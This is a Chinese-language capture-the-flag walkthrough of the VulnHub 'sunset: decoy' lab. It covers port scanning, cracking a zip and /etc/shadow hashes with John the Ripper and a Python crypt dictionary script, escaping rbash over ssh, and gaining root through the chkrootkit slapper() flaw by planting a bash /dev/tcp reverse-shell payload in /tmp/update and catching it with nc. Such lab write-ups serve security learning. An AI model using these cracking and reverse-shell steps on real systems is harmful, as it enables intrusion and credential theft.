sunset: decoy靶场渗透
sunset: decoy
来自 <sunset: decoy ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.138
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.138
22/tcp → SSH
- 服务:OpenSSH 7.9p1 Debian 10+deb10u2
- 协议:SSH v2
- 指纹:提供了三种 host key (RSA/ECDSA/ED25519)。
- 研判:
- OpenSSH 7.9 属于 Debian 10 (buster) 的默认版本。
- 7.9 并不是特别老,但已经有一些已知漏洞(例如用户枚举、弱配置风险)。
- 攻击点:弱口令/密码爆破(hydra、patator)、公私钥登录尝试、旧 CVE 检查。
80/tcp → HTTP (Apache)
- 服务:Apache 2.4.38 (Debian)
- 页面标题:Index of / → 开启了目录索引。
- 文件列表:发现 save.zip (3.0K, 2020-07-07 16:36)
- 研判:
- Apache 2.4.38 也是 Debian 10 默认版本。
- 暴露敏感文件 save.zip → 这是最关键的突破点,可能包含源码、密码或配置文件。
- 下一步:下载 save.zip 并解压 → 如果加密则尝试 zip2john + John/Hashcat 爆破。
操作系统与设备识别
- 内核版本范围: Linux 4.15 – 5.19
- 也可能是 MikroTik RouterOS 7.X (Linux 5.6.3 内核)
- 说明: 由于是 VMware 环境,最可能是 Debian 10 Linux 虚拟机。
4,访问80端口开放的http服务
下载到一个zip文件,解压需要密码。只能继续信息收集,枚举扫描网页子目录
5,尝试john破解压缩包密码
zip2john save.zip > hash.txt
zip2john 工具介绍
1. 工具概述
- zip2john 是 John the Ripper (JtR) 密码破解套件中的一个辅助工具。
- 功能:将 加密压缩文件(ZIP 格式) 转换成 John 可识别的 hash 格式。
- 作用:把 ZIP 文件的密码学信息提取出来 → 然后交给 John/Hashcat 进行暴力破解、字典破解或规则破解。
2. 注意事项
- 支持范围:只支持加密 ZIP 文件(PKZIP、AES 加密等常见格式)。
- 效率问题:如果密码太复杂,暴力破解会很慢。
- 配合字典:实际渗透中,通常结合 社工字典 或目标信息定制字典,而不仅仅依赖 rockyou。
john hash.txt
成功破解出压缩包密码
6,得到貌似来自于靶机etc目录的一些敏感文件,内有shadow文件,尝试破解用户密码。
存在一个奇怪的用户296640a3b825115a47b68fc44501c828。密文是$6开头,所以加密方式是SHA-512。使用破解脚本。
# coding=utf-8 import crypt shadow_file = "/root/etc/shadow" # 获取系统密码路径 password_file = "/usr/share/wordlists/rockyou.txt" # 字典文件 def get_pass(shadow_file): used = {} # key是用户,value是对应的密文 f = open(shadow_file, "r") # 读取系统密码文件 userline = f.readlines() # 转换为列表 f.close() for item in userline: if len(item.split(":")[1]) > 3: # 密文长度>3,说明有密码 used[item.split(":")[0]] = item.split(":")[1] return used def look_d(password_file): f = open(password_file, 'r') mwlist = f.readlines() # 字典 → 列表 f.close() for i, item in enumerate(mwlist): mwlist[i] = item.strip("\n") # 去除换行符 return mwlist def main(user_passfile, zidian): used = get_pass(user_passfile) # 获取用户:密文 mingwen = look_d(zidian) # 获取所有明文候选 for user in used: passwd = used[user] # 取该用户密文 salt = "$6$" + passwd.split("$")[2] # 获取 salt(sha512) for passwdmw in mingwen: if passwd == crypt.crypt(passwdmw.rstrip(), salt): print("userName:%s passWord:%s" % (user, passwdmw.rstrip())) if __name__ == "__main__": main(shadow_file, password_file) |
还需要安装模块,太麻烦直接使用unshadow
unshadow /root/etc/passwd /root/etc/shadow > crack.txt
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
爆出来该用户密码是server
unshadow 工具介绍
工具概述
- unshadow 是 John the Ripper 自带的工具。
- 功能:把 /etc/passwd 和 /etc/shadow 两个文件的内容合并成 John 能识别的 单一 hash 文件。
- 用途:Linux 系统里,密码 hash 不在 passwd,而是在 shadow。直接用 John 破解 shadow 不行,必须通过 passwd 的用户名字段把它们拼接起来。
简单理解:
passwd 里有账号信息(用户名、UID、home、shell 等)。
shadow 里有密码 hash。
unshadow → 把这两份数据合并 → 生成一个可供 John 破解的文件。
常见问题
- 权限不足
- 普通用户无法读取 /etc/shadow,需要 root 权限。
- 在渗透环境里,你通常是拿到目标机器的 shadow 文件(比如通过提权或信息泄露)。
- hash 类型错误
- 一般 Linux 的密码哈希是 sha512crypt($6$ 开头)。
- John 会自动识别,但必要时可以手动指定:
john --format=sha512crypt crack.txt
总结
- unshadow 用来把 passwd 和 shadow 合并,生成 John 能破解的 hash 文件。
- 标准用法:
unshadow /etc/passwd /etc/shadow > crack.txt
john --wordlist=rockyou.txt crack.txt
john --show crack.txt - 在渗透测试或靶场中,这是破解 Linux 用户密码的标准流程。
7,然后再ssh登录用户296640a3b825115a47b68fc44501c828,前面已经知道开放了22端口
ssh 296640a3b825115a47b68fc44501c828@192.168.23.138
发现shell解释器是rbash,很多命令使用不了
rbash 简介
- rbash = restricted bash,是 bash 的限制模式。
- 常见限制包括:
- 不能使用 cd 切换目录。
- 不能修改 PATH、SHELL 等环境变量。
- 不能执行带 / 的命令(如 /bin/ls)。
- 不能重定向输入输出。
- 有时还会限制你能运行的命令(chroot-like)。
目的:管理员通过 rbash 限制用户活动范围,避免随意执行命令或访问系统。
问题:这些限制大多是“软限制”,通过一些方法能绕过。
这里尝试ssh登录时逃逸
ssh 296640a3b825115a47b68fc44501c828@192.168.23.138 -t "bash --noprofile"
然后需要配置环境变量。
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
继续信息收集
得到第一个第一个flag
8,存在一个root用户创建的honeypot.decoy可执行文件
SV-502/目录下的logs文件中发现出现一条涉及chkrootkit的命令,这是一个后门检测工具
chkrootkit 工具介绍
1. 工具概述
- chkrootkit = Check Rootkit
- 它是 Linux/Unix 下常用的 Rootkit 检测工具。
- 能检查本机系统是否被 rootkit(内核级后门/木马)感染。
- 检测内容主要包括:
- 系统二进制命令是否被篡改(如 ls、ps、netstat 等)
- 常见 Rootkit 特征(隐藏文件、可疑进程)
- 网络接口、端口监听异常
- 日志篡改痕迹
2. 常见检测项目
- chkdirs:是否有隐藏目录
- chklkm:检测恶意内核模块 (LKM)
- chkproc:扫描可疑进程
- chkbind:检查是否有后门绑定到端口
- chkwtmp/lastlog:检查登录日志是否被篡改
cat SV-502/logs/log.txt
搜索一下这个工具存在的公开漏洞
searchsploit chkrootkit
阅读漏洞利用方法
漏洞概述
- 漏洞来源:chkrootkit 的 shell 脚本函数 slapper()
- 漏洞类型:本地提权 / 任意文件执行
- 条件限制:
- /tmp 目录 可执行(没有挂载 noexec)
- 攻击者对 /tmp 有 写权限
- chkrootkit 以 root 用户运行(比如通过 cron 定期执行)
漏洞原因
在 slapper() 函数中,有如下核心代码:
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
file_port=$file_port $i
STATUS=1
fi
done
- 问题点:
- file_port=$file_port $i 这里缺少引号
- shell 在赋值时会 将 $i 作为命令执行
- 换句话说,如果 /tmp/update 存在,它会被当作 命令执行,执行权限继承 chkrootkit 的用户(通常是 root)
- 修复方法:
file_port="$file_port $i"
- 加上引号后,$i 会被当作字符串拼接,而不是命令执行
漏洞触发条件
- /tmp 目录必须 可执行(noexec 会阻止直接执行)
- 攻击者有 非 root 写入权限
- chkrootkit 执行时为 root 用户
实战意义:如果管理员每天通过 cron.daily 执行 chkrootkit,攻击者可以在 /tmp 放置恶意程序并被执行,从而 提权为 root。
9,在 /tmp 下创建恶意文件 update:
touch /tmp/update
chmod +x /tmp/update
写入反弹 shell payload:
echo "bash -c 'exec bash -i &>/dev/tcp/192.168.23.128/4444 <&1'" > /tmp/update
确认 chkrootkit 执行方式,未发现定期任务直接运行 chkrootkit(意味着这不是通常意义的写定时任务提权)
10,用户目录下有可执行文件 honeypot.decoy,执行后出现 8 个选项。第五个选项 “Launch an AV Scan”怀疑会执行 chkrootkit
验证执行
ps -aux | grep chk
选择选项五后,发现 chkrootkit 正在运行
11,提权操作流程,在靶机执行
./honeypot.decoy
# 选择第 5 个选项
预先在攻击机执行nc命令接收反弹 shell
nc -lvvp 4444
总结,一旦选择选项五,/tmp/update 被 chkrootkit 执行,恶意 payload 将以 root 权限运行,而后攻击机获得root反弹shell
最后成功得到flag